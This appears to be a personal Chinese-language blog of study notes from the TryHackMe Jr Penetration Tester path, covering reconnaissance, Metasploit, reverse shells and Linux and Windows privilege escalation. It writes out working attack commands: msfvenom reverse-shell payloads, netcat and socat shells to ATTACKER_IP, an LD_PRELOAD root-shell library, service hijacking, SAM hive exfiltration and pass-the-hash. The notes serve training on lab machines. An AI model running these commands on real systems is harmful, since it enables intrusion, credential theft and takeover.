JrPenetrationTester

文章发布时间:

最后更新时间:

文章总字数:
8.3k

预计阅读时间:
33 分钟

JrPenetrantionTester

对一些模块里面学到的知识进行记录以及资料补充。

Web Hacking

想了解更多 web hacking,可以去看 ctfshow(开个玩笑)。

Content Discovery

对 web 页面的信息收集工作,分为三类,手动发现,自动发现和开源情报。主要还是直接用工具和字典来扫(主动收集),或者使用 Wappalyzer ,fofa,Google Hacking (语法直接手册或者 gpt 就行)那些来收集信息(被动收集),目标是发现敏感目录(后台或者有信息泄漏的页面)和确定网页使用的框架的版本(如果不是最新的就可能在网上直接查到历史漏洞或者可以获得后台地址和默认密码之类的)。

Subdomain Enumeration

https://www.freebuf.com/vuls/328801.html
对子域名的信息收集工作,分为被动收集和主动收集,被动收集就是在不与目标系统交互的情况下通过第三方进行收集,不会对目标造成任何影响,更不会触发安全产品的告警。

被动子域名收集的方式:

  • 信息泄露:cossdomain.xml,github/gitee 源码,抓包分析
  • 搜索引擎:GoogleHacking 语法 site:*tryhackme.com
  • 网络空间测绘引擎:fofa,Zoomeye,Shodan
  • 证书透明
  • 第三方DNS服务(会有失效的):https://www.virustotal.com/gui/home/search
    image.png
1
2
3
4
5
6
7
8
9
其他在线DNS工具汇总:
- https://decoder.link/
- https://searchdns.netcraft.com/
- https://dnsdumpster.com/
- https://pentest-tools.com/information-gathering/find-subdomains-of-domain
- https://www.pkey.in/tools-i/search-subdomains
- https://hackertarget.com/find-dns-host-records/
- https://findsubdomains.com/
- https://spyse.com/
  • AS 号码查询
  • SAN 收集
  • 使用公共数据集

主动收集是指,通过与目标系统进行交互,对子域名进行收集。因为需要和目标系统进行交互,很可能出现高频访问等情况,有触犯安全产品告警的风险。

主动收集子域名的方式:

  • 字典枚举,建议换上优秀一点的字典,内置一般都一般
  • 置换
  • 扫描域传送漏洞
  • DNSSEC
  • DNS缓存
  • Virtual Hosts 收集:利用 wfuzz 或者 ffuf ,模拟一个 Host,筛选出尺寸不对的可以得知存在这个 host 也就是子域名:
1
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.102.65 -fs {size}

使用自动化工具 OneForAll https://github.com/shmilylty/OneForAll 来一键子域收集,并且顺便收集了子域的 IP ,常用端口,Title,Banner 和状态等。

1
2
3
use oneforall:
docker pull shmilylty/oneforall
docker run -it --rm -v ~/results:/OneForAll/results -v ~/.config:/OneForAll/config shmilylty/oneforall --target example.com run

拉取镜像并执行,其中~/.config替换为你自己配置文件所在文件夹的路径

第一次运行出了点问题:docker: Error response from daemon: cgroups: cannot found cgroup mount destination: unknown. 使用下面两行命令解决:
sudo mkdir /sys/fs/cgroup/systemd
sudo mount -t cgroup -o none,name=systemd cgroup /sys/fs/cgroup/systemd

常用的还有一个 ksubdomain https://github.com/knownsec/ksubdomain ,爆破速度快到让你上不了网(推测占用了全部带宽

另外还有很多优秀的工具,如果走投无路可以上多几个工具,说不定可以扩大资产发现找到突破口,详细可以看上面那篇文章。

Authentication Bypass

这部分没什么好说的,大部分属于逻辑漏洞, ctf 里面已经练得够多了,绕过鉴权基本操作也会了。至于用户名和密码组合可以同时爆出来的,我觉得实战中应该没有这种情况。

IDOR

简单来说,未授权访问,改改 URL 什么的,或者抓个包改改参数什么的。 thm 里面提到的有一点我觉得比较有趣,可以注册两个帐号来对比看变化。

剩下的 web 基本漏洞也没什么列出来的必要了。

Burp Suite

老伙计了,这里提了一下各个模块的基本使用,最常用的依然是 Proxy 和 Intruder ,

Intruder

Intruder 有四种爆破方式,今天算是真正了解了一下。

  • sniper:对所有测试的参数都爆一遍列表,参数 3 个,列表 100 条要发 300 次请求(一个请求中被测试的只有一个参数)
  • Battering Ram:对所用测试的参数统一过一遍列表,参数 3 个,列表 100 条要发 100 次请求(一个请求中所有参数同时被一条 payload 所测试)
  • Pitch fork:可指定多个列表同时测试所有参数,在用户名和密码都不知道的情况下就可以用户名和密码一起爆破,但是是一一对应爆破,列表较短的遍历完之后爆破终止。
  • Cluster Bomb:可以指定多个列表,对所有参数进行测试,但是测试了所有的组合,测试次数相当于列表条数相乘,会发送大量流量,但是可以在未知映射关系的情况下更加有效地测试。

爆破的高级技术,宏,bp 如何设置和使用宏来爆破详见下面这两篇文章,宏简单来说就是在你发送请求之前先做一些请求(这些请求通过 bp 抓包放包来录制),获取这些请求的结果并将需要的信息自动填到你发送的这个请求上(如 token 或者 session 之类的),从而避免验证失效或者因为 token 无法爆破用户帐号密码的情况:

https://tryhackme.com/room/burpsuiteintruder
https://www.anquanke.com/post/id/86768

另一种情况:
https://blog.csdn.net/qq_41542761/article/details/102893563
https://blog.csdn.net/shelter1234567/article/details/127706977
这两篇文章讲的是一个事,提前获取 token 来爆破,这里和上面操作有点不同的原因是上面那两篇是先发一个不同的请求来获得 token ,而这两篇是直接将下一次要用的 token 放在了这一次的请求结果中,也就是递归获取。

Metasploit

鹏城杯的时候现场学,至少已经会了基本使用(search ,use ,info ,show options ,show payloads ,use ,set ,exploit)。这里再系统学一下。

Exploitation

可以使用 metasploit 来进行端口扫描(也可以在 msf 里面使用 nmap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msf6 > search portscan

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/wordpress_pingback_access normal No Wordpress Pingback Locator
1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner
2 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
3 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner
4 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
6 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner
7 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner


Interact with a module by name or index, for example use 7 or use auxiliary/scanner/sap/sap_router_portscanner

还可以使用 scanner/discovery/udp_sweep 来扫描 udp 服务,scanner/smb/smb_version 来扫描 smb 服务。

  • HTTP:可以潜在地托管一个 Web 应用程序,在那里你可能会找到像 SQL 注入或远程代码执行(RCE)这样的漏洞
  • FTP:可以允许匿名登录并提供对一些有价值的文件的访问权限
  • SMB:可能存在一些漏洞利用点,如MS17-010漏洞的利用
  • SSH:可能具有默认的登录凭据或者容易猜测的登录凭据(弱密码)
  • RDP:可能容易受到 Bluekeep漏洞攻击,或者允许使用弱凭据进行桌面访问

Metasploit 数据库:

可以记录扫描过的主机开放的端口及其服务,同时多台批量扫描的时候比较有用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
初始化数据库:
systemctl start postgresql
msfdb init
进入 msf:
msfconsole
查看数据库连接状态:
db_status
管理工作区,新建和切换:
workspace
workspace -a tryhackme
workspace tryhackme
workspace -h
显示数据库命令:
help
db_nmap -sV -p- 10.10.94.103
hosts -h
services -h
批量设置 RHOSTS 和查找 service
hosts -R
services -S netbios

Exploitation:

使用 show payloads 显示出所有可以使用的 payload ,通常使用的是反弹 shell :msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 31 payload => windows/x64/meterpreter/reverse_tcp(这个 payload 可以返回一个可以使用 meterpreter 命令查看目标机器上的文件的会话),打成功之后直接就弹回来一个 shell ,不用新开一个 msf 开 handler 监听!!!下面这张图用的是普通反弹 shell ,需要对 windows 终端命令有一定了解。

image.png

这个 ms17-010 如果前面都成功了,最后 FAIL ,要不就是 LHOST 设置错误,要不就是概率问题,试多几次。成功建立 session 之后,使用 CTRL+Z 退出,可以保存处于活跃状态的 session ,并且通过 sessions -i 1 再次与其交互。

msfvenom:

可以生成有效载荷,Msfvenom 将允许你访问 Metasploit 框架中所有可用的有效载荷,同时也允许你创建多种不同格式的有效载荷(PHP, exe, dll, elf 等等)以及针对不同的操作系统(Apple, Windows, Android, Linux等等)。

使用 -e 来指定编码,-p 来指定 payload ,-f 来指定输出格式,-l 来列出所有的编码或者 payload 或者输出格式,同时还必须指定 payload 所需要的参数,比如反弹 shell 需要指定 LHOST 和 LPORT 。生成了有效载荷之后就是使用 msf 开一个监听,然后千方百计让其在目标上执行,从而创建会话,控制目标。下面是完整流程演示:

image.png

image.png

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.13.39.54 LPORT=4444 -f elf > shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py


msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.13.39.54
set LPORT 4444
run

Meterpreter

Meterpreter 是一种 Metasploit 上的有效负载(payload),它通过许多有价值的组件支持渗透测试过程。Meterpreter 将在目标系统上运行并充当命令和控制架构中的代理。

使 用Meterpreter 时,你将与目标操作系统和文件进行交互,并能使用 Meterpreter 的专用命令。Meterpreter 有许多版本,它们将根据目标系统提供不同的功能,使用 help 命令来查看可以使用的功能。

Meterpreter 在目标系统上运行,但并不是安装在目标系统上,它在内存中运行,且不会将自身信息写入目标上的磁盘,此功能是为了 避免在防病毒扫描期间被检测到。

在默认情况下,大多数防病毒软件会扫描磁盘上的新文件(例如,当你从 Internet 下载文件时),而Meterpreter 在内存(RAM - 随机存取内存)中运行,以避免将文件写入到目标系统的磁盘上(例如生成meterpreter.exe)。

总之 Meterpreter 隐秘性很好,但是已能够被主流的防病毒软件识别,可用于检测 Meterpreter 的技术和工具超出了目前学到的知识点范围。

使用” msfvenom –list payloads “ 命令再加上” | grep meterpreter “ 筛选出meterpreter 类型的payload。

你决定使用哪个版本的 Meterpreter 将主要基于三个因素:

  • 目标操作系统(目标操作系统是 Linux 还是 Windows?是 Mac 设备?是 Android 手机?等等)
  • 目标系统上可用的组件(是否安装了 Python?这是一个 PHP 网站吗?等等)
  • 你可以与目标系统建立的网络连接类型(它们允许原始 TCP 连接吗?你只能有一个 HTTPS 反向连接吗?IPv6 地址不像 IPv4 地址那样受到密切监控吗?等等)

Meterpreter 将为你提供三个主要类别的工具:

  • 内置命令(Built-in commands)
  • Meterpreter 工具(Meterpreter tools)
  • Meterpreter 脚本(Meterpreter scripting)

当你输入” help “命令来查看命令列表时,你将看到 Meterpreter中的命令 被列举在不同的类别下:

  • Core commands 核心命令
  • File system commands 文件系统命令
  • Networking commands 联网命令
  • System commands 系统命令
  • User interface commands 用户界面命令
  • Webcam commands 网络摄像头命令
  • Audio output commands 音频输出命令
  • Elevate commands 提升命令
  • Password database commands 密码数据库命令
  • Timestomp commands 时间戳命令

使用 meterpreter 主要是在后渗透环节,可以利用 meterpreter 的工具来进行信息收集,横向移动等等。主要用到的命令有:

  • getuid:显示用户身份
  • ps:列出正在运行的进程
  • migrate pid:迁移进程,有助于 Meterpreter 与之交互。
  • hashdump:读密码的 NTLM hash 。
  • search -f file.name:找文件
  • shell:返回目标系统的 shell
  • load:加载工具,可以 load kiwi ,load python 等等。
  • sysinfo:查看系统信息。
  • run post/windows/gather/ 下面的各工具来进行进一步的信息收集。

image.png

Privilege Escalation

What the Shell?

Shell 类型

Reverse shells(反向shell)

目标执行代码反弹回攻击机的端口。
反向 shell 是绕过防火墙规则的一个好方法,因为防火墙规则可能会阻止你正向连接到目标上的任意端口;然而,有一个缺点是:当从互联网上的一台机器接收 shell 时,你需要先配置好你自己的网络。

Bind shells(绑定shell)

目标执行代码在目标开放一个监听端口,攻击机主动连接,故也称为正向 shell 。
这样做的好处是不需要你在自己的网络上进行任何配置,但是该行为可能会被保护目标的防火墙加以阻止。

一般情况下,反向 shell 更容易执行和调试。

交互式 shell 就是普通的标准命令行环境,非交互性 shell 就是不能运行交互式命令,只能 whoami 之类的,不幸的是,大多数简单的反向和绑定 shell 都是非交互式的,这可能会使进一步的漏洞利用变得更加棘手。

shell 的稳定化

sudo nc -lvnp 443 监听反向连接
nc ip port 正向连接

下面是使 shell 稳定的几个方法:

Python

  1. 首先要做的是使用命令:python -c 'import pty;pty.spawn("/bin/bash")'
    它将使用 Python 产生一个功能更好的 bash shell 。
    请注意,有些目标可能需要指定Python 版本,如果是这样的话:根据需要将 python 替换为 python2 或 python3 。
    这时我们的 shell 会看起来更好一些,但是我们仍然不能使用tab键自动补全功能或者方向键功能,按下Ctrl + C 仍然会杀死这个shell 。
  2. 第二步是:执行export TERM=xterm ,这将使我们能够访问一些术语命令,例如clear 命令。
  3. 最后(也是最重要的) ,我们将使用 Ctrl + Z 按键对 shell 进行后台化处理,对 shell 后台化之后再前台化:用 stty raw -echo; fg 回到我们自己的终端前台。
    执行上面的前台化命令,将会做两件事: 首先,这个前台化命令会关闭我们自己本身的终端输出 (它允许我们访问tab键自动补全、方向键和按下 Ctrl + C 终止进程),然后再将之前建立的反向 shell 前台化,从而完成稳定化过程。

实质上是用反向shell取代了我们自己原来使用的终端,如果 shell 失效了,输入会不可见,输入 reset 解决。

1
2
3
4
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
^Z
stty raw -echo; fg

rlwrap

rlwrap是一个程序,简单地说,它可以让我们在捕获到shell时立即访问历史记录、 tab自动补全键和方向键;然而,如果你想在这个shell 中使用 Ctrl + C,还是必须使用一些其他技巧进一步稳定化shell(kali 未自带,需要 apt 安装)。

rlwrap nc -lvnp <port>,在netcat监听器前面加上” rlwrap “可以提供一个功能更全面的 shell。这个技巧在处理 Windows的shell时特别有用,因为众所周知,Windows的shell很难稳定。在处理 Linux 目标时,可以使用与前面第一个技巧中的第三个步骤相同的方法来完全稳定化shell:先用 Ctrl + Z 后台化 shell,然后再使用stty raw-echo; fg 命令来稳定化并重新进入 shell。

Socat

linux 上用,windows 上与 nc shell 效果差不多(具体使用命令在下面)。

首先需要将一个 socat 静态编译的二进制文件(编译为没有依赖关系的程序的一个版本)传输到目标机器上。一个典型的实现方法是:让攻击机在包含 socat 二进制文件的目录中开启一个简易的webserver(sudo python3 -m http.server 80),目标 linux 可以通过 curl 或 wget 下载(wget <LOCAL-IP>/socat -O /tmp/socat),目标 windows 可以使用 Invoke-WebRequest 或者 webrequest 系统类,取决于 powershell 版本(Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe)。

socat二进制文件下载地址(点击将自动下载):
https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat
socat官网:
http://www.dest-unreach.org/

Socat 工具

要达到稳定 shell 的效果需要将 socat 上传到目标机,下面是反弹 shell 的具体操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
attacker:socat TCP-L:<port> FILE:`tty`,raw,echo=0
这大约相当于使用 Ctrl + Z 以及 netcat shell 的`stty raw -echo; fg`技巧,这样处理的额外好处是能够立即建立一个稳定的shell并能连接到完整的 tty(终端)。
普通的socat监听器可以连接到任何有效负载;然而,上面这个特殊的监听器必须用一个非常具体的 socat 命令来激活,这意味着目标机必须安装 socat。

target:socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

第一部分很简单——我们正在 与在我们自己的攻击机上运行的监听器进行连接,第二部分使用 EXEC:"bash -li" 创建一个交互式 bash 会话,我们还传递了参数:pty、stderr、sigint、setsid 和 sane

pty:在目标上分配一个伪终端——这是稳定化过程的一部分
stderr:确保在 shell 中能够显示错误消息(通常是非交互式 shell 的问题)
sigint:将任何 Ctrl + C 命令传递到子进程中,允许我们在 shell 中使用 Ctrl+C 终止命令
setsid:在新会话中创建进程
sane:稳定终端,试图将终端“正常化”。

image.png

使用 socat 加密 shell

socat 能够创建加密的 shell ,除非有解密密钥,否则无法监视加密的 shell ,能在一定程度上绕过 IDS 检测(入侵检测系统,通过分析网络流量、日志文件、系统活动等信息来识别异常行为)。

1
2
3
4
5
6
attacker:
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0
target:
socat OPENSSL:<attacker-ip>:<attacker-port>,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

后面常见 payload ,使用 msfvenom 生成 payload ,使用 msfconsle handler 接收之前都了解过了,web shell 更不消说。

Linux Privilege Escalation

https://www.cnblogs.com/Hekeats-L/p/16867299.html

权限升级是一个过程。没有灵丹妙药,很大程度上取决于目标系统的具体配置。内核版本、安装的应用程序、支持的编程语言、其他用户的信息密码是影响您进入 root shell 之路的几个关键要素。

这里相当于借助 thm 的分类再整理一下 linux 权限提升的几种方法,实际上下面那些基本都在之前打靶机的时候了解使用过。

枚举收集信息

首先可以通过执行各种各样的命令来收集信息,下面是一些自动收集的工具,也可以手动输命令收集。

主要用了一下 LinEnum ,是一个 bash 脚本,信息收集很全,上传到目标机给个 +x 权限运行即可,或者直接复制代码,在目标机上面粘贴并运行。-r 报告名,-e 保存位置,-s 提供目前用户的密码来查看 sudo 权限。

手动测试的话使用以下的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
hostname
uname -a
cat /proc/version
cat /etc/issue
ps -A / ps aux
env
sudo -l
ls
id
cat /etc/passwd
history
ifconfig

netstat -ltp
netstat -ano


find . -name flag1.txt: find the file named “flag1.txt” in the current directory
find /home -name flag1.txt: find the file names “flag1.txt” in the /home directory
find / -type d -name config: find the directory named config under “/”
find / -type f -perm 0777: find files with the 777 permissions (files readable, writable, and executable by all users)
find / -perm a=x: find executable files
find /home -user frank`: find all files for user “frank” under “/home”
find / -mtime 10: find files that were modified in the last 10 days
find / -atime 10: find files that were accessed in the last 10 day
find / -cmin -60: find files changed within the last hour (60 minutes)
find / -amin -60: find files accesses within the last hour (60 minutes)
find / -size 50M: find files with a 50 MB size


find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null


find / -name perl*
find / -name python*
find / -name gcc*


find / -perm -u=s -type f 2>/dev/null:find files with SUID bit

内核提权

  1. 识别内核版本:uname -a
  2. 搜索并找到目标系统内核版本的漏洞利用代码:google,exploit-db,searchsploit
  3. 运行漏洞利用代码–执行相关exp(通常本机 gcc 先编译,后上传到目标上运行)

sudo

sudo -l 可以查看当前用户与 root 权限相关的情况。

https://gtfobins.github.io/ 提供了有关如何使用你可能拥有 sudo 权限的任何程序(进行提权或者渗透)的信息,其实这位也是在打 htb 的时候遇到了。

image.png

另外如果在 sudo -l 的输出里看到了 env_keep+=LD_PRELOAD ,则可以使用 LD_PRELOAD 在可高权限运行的程序中加载恶意 so 文件来进行提权。

LD_PRELOAD 是 Linux 系统中的一个功能强大的环境变量,它主要用于在程序启动前预加载特定的共享库。这个特性可以对程序的行为进行显著的改变,有着多种用途,但同时也带来了一些安全风险。如果攻击者能够控制 LD_PRELOAD 变量,他们可能会强制程序加载恶意库。这样的库可以拦截系统调用、窃取数据或执行其他恶意活动。且攻击者可以利用 LD_PRELOAD 在具有更高权限的程序中注入代码,从而实现权限提升。

具体利用方法如下:
先写一个生成 root shell 的 c 代码:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

再使用 gcc 编译成共享对象文件:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

在拥有 sudo 权限的程序中指定 LD_PRELOAD(这里是 find):
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

SUID

当一个可执行文件设置了 SUID 位时,不管谁运行这个文件,该文件都会以文件所有者的身份运行。
作用:SUID 使得普通用户可以以另一个用户(通常是 root 用户)的权限执行某个程序。这在很多情况下是有用的,比如 passwd 命令,它允许普通用户修改自己的密码,而密码文件通常只有 root 用户才能访问。

find / -type f -perm -04000 -ls 2>/dev/null 列出所有设置了 SUID 位的文件,将上述命令中的-04000换成-02000,则是查找设置了SGID位的文件。

和上文 sudo 一样,上网站查 SUID 用法即可,thm 这里介绍了如果 nano 有 sudo 权限如何提权,直接在 /etc/shadow 加一个 root 组的新用户即可(当然也可以爆破原有账户的密码)。

image.png

image.png

Capabilities

这个在 htb 靶机里的 MonitorsTwo 里面提到过,简单来说,Capabilities 有助于在更精细的级别上管理权限,能够更精细化的将操作系统权限赋权给应用程序,其中就包括设置 uid 和 gid 的权限。因此具备 cap_setuid 和 cap_setgid 权限的程序可以用来进行权限提升。

使用 capsh 和 getcap 都可以用来查看文件的 Capabilities ,getcap -r / 2>/dev/null,找到文件之后依然用上面那个网站查询就行。

定时任务提权

这个很早之前就提到了,如果有定时任务以管理权限运行,那就更改运行的脚本即可完成提权。cat /etc/crontab

后面 PATH 和 NFS 感觉利用有点困难,在靶机里遇到了再细说。

Windows Privilege Escalation

在 kali 上使用 rdp 连接到目标 windows:
sudo apt-get install freerdp2-x11
xfreerdp /v:[Windows机器IP] /u:[用户名] /p:[密码] /cert:ignore

从常见位置收集密码

windows 无人值守安装,用户凭据可能存储在机器中的以下位置:
``

1
2
3
4
5
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

powershell 的历史记录,可以获取命令中输入的明文密码:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

注意:上面的命令只能在 cmd.exe 中运行,因为 Powershell 不会将%userprofile%识别为环境变量。 如果要在 Powershell 环境下读取文件,你必须将 %userprofile% 替换为 $Env:userprofile

IIS 配置,Internet 信息服务 (IIS) 是 Windows 安装中的默认 Web 服务器。 IIS 上的网站配置存储在名为 web.config 的文件中,可以存储数据库密码或配置的身份验证机制。 根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:

1
2
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

配合 | findstr 收集想要的信息,比如 db_admin 的密码之类的。

保存的 windows 凭据

cmdkey 是Windows操作系统中的一个命令行工具,用于创建、列出和删除存储在Windows凭据管理器中的用户凭据。这些凭据包括用于登录网络资源(如服务器或共享文件夹)的用户名和密码。

cmdkey /list 列出所有存储了的凭据,可以使用 runas /savecred /user:username cmd.exe 来直接使用其他用户保存的凭据而不用输入密码,配合 runas 开一个其他用户的 cmd 。

从软件中检索凭证:PuTTY

PuTTY 是 Windows 系统上常见的 SSH 客户端。 使用PuTTY 时,用户不必每次都指定连接的参数,而是可以存储sessions ,其中包含 IP、用户和其他配置以供以后使用。 虽然 PuTTY 不允许用户存储他们的 SSH 密码,但它会存储包含明文身份验证凭据的代理配置。

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

还有很多其他存储密码的软件,浏览器,电子邮件客户端,FTP 客户端,SSH 客户端,VNC 软件,都有可能泄漏用户的密码。

计划任务

和 linux 的差不多,查询修改以高权限定时运行的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
schtasks
schtasks /query /tn vulntask /fo list /v

Folder: \
HostName: THM-PC1
TaskName: \vulntask
Task To Run: C:\tasks\schtask.bat
Run As User: taskusr1

icacls c:\tasks\schtask.bat

c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(F)

echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,可以将它们配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能会让我们运行一个以管理员权限运行的恶意 MSI 文件。

要利用此漏洞,必须设置下面这两个注册表的值,如果经过查询发现设置了,就可以使用 msf 生成 .msi 文件传到目标上运行。

1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

服务错误配置

Windows 服务由服务控制管理器 (SCM- Service Control Manager) 管理。 SCM 是负责根据需要管理服务状态、检查任何给定服务的当前状态并通常会提供配置服务的方法的一个进程。

Windows 机器上的每个服务都有一个关联的可执行文件,只要服务启动,SCM 就会运行相关的可执行文件(BINARY_PATH_NAME)。 值得注意的是,服务所关联的可执行文件还实现了与 SCM 通信的特殊功能,每个服务还会指定运行该服务的用户帐户。(SERVICE_START_NAME)

可以使用 sc qc servicename 来检查服务的具体配置。

这就引出了三个不安全的点:

  1. 服务关联的可执行文件的权限不安全,可以对服务关联的可执行文件进行修改,获得运行服务的用户的 shell 。

  2. 未正确引用服务所关联的可执行文件路径,典型错误,在 BINARY_PATH_NAME 的文件路径里没有带引号:
    BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

首先,搜索 C:\MyPrograms\Disk.exe。 如果存在,该服务将运行此可执行文件。
如果 Disk.exe 不存在,它将搜索 C:\MyPrograms\Disk Sorter.exe。 如果存在,该服务将运行此可执行文件。
如果 Disk Sorter.exe 不存在,它将搜索 C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe。 此选项预计会成功,并且通常会在默认情况下运行。

只要在前两个创建恶意二进制文件即可执行

  1. 如果服务对应的可执行文件的 DACL(自由访问控制列表) 配置良好,并且服务关联的二进制文件路径也被正确引用,你仍然有很小的机会可以对服务进行漏洞利用。

如果服务本身的 DACL(注意:此处并非服务对应的可执行文件的 DACL)允许你修改服务的配置,你将能够对服务进行重新配置。 这将允许你将某个服务指向你设置的任何可执行文件路径,而且可以使用你指定的任何帐户权限去运行服务所关联的可执行文件,能够指定的账户包括 SYSTEM 账户。

使用 Accesschk 工具,检查服务的 DACL 如果 Users 组有 SERVICE_ALL_ACCESS 的权限,任何用户都可以对服务进行重新配置。

1
2
3
4
5
6
7
8
9
10
attacker:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe
nc -lvp 4447

target:
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

sc stop THMService
sc start THMService

滥用危险权限

whoami /priv 查询分配给当前用户的特殊权限。
只有能够用来提权的特殊权限才是我们所需要的,下面这篇文章总结得很全。
https://github.com/gtworek/Priv2Admin
下面介绍两种常见的:
SeBackup / SeRestore

可以进行复制 SAM 和 SYSTEM 注册表配置单元(registry hives)以提取本地管理员的密码hash值。

1
2
reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive

备份完之后可以通过 smb 传给攻击机(攻击机上开 smbserver)。

1
2
3
4
5
6
7
8
9
#在攻击机上 
user@attackerpc$ mkdir share
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\ C:\> copy
C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

#在攻击机上
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

在攻击机上,我们可以利用管理员的密码哈希值来执行 Pass-the-Hash 攻击并获得目标机器的 SYSTEM 级别访问权限。

1
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP

SeTakeOwnership

SeTakeOwnership 权限允许用户获得系统上任何对象的所有权,包括文件和注册表项,从而为攻击者提升权限提供了许多可能性。这里介绍的是获得 System 运行的文件的所有权并且将文件替换为恶意文件。如果我们将原始的二进制文件替换为我们构建的payload文件,我们将有效地获得目标机的 SYSTEM 权限。

Utilman 是一个内置的 Windows 应用程序,用于在计算机锁定屏幕期间 提供“轻松访问”选项,其以 SYSTEM 权限运行。

1
2
3
takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
copy cmd.exe utilman.exe

点锁定屏幕再点轻松访问就可以获得 System 的 cmd 。注意,成为文件的所有者并不一定意味着你拥有该文件运行时所对应的特权,但作为文件所有者,你可以为自己分配一些所需的权限。 第二步授予当前用户对 utilman.exe 的完全权限。

易受攻击的软件

目标系统上安装的软件可以提供各种权限升级机会。与驱动程序一样,组织和用户可能不会像更新操作系统那样频繁地更新它们。使用 wmic 列出目标系统上安装的软件及其版本,像 linux 一样 exploit-db ,google 找漏洞。
wmic product get name,version,vendor`

更多 windows 提权方法日后再研究,如下面的土豆提权:

image.png

终于过了一遍初级渗透,接下来回去继续打打 htb 的靶机。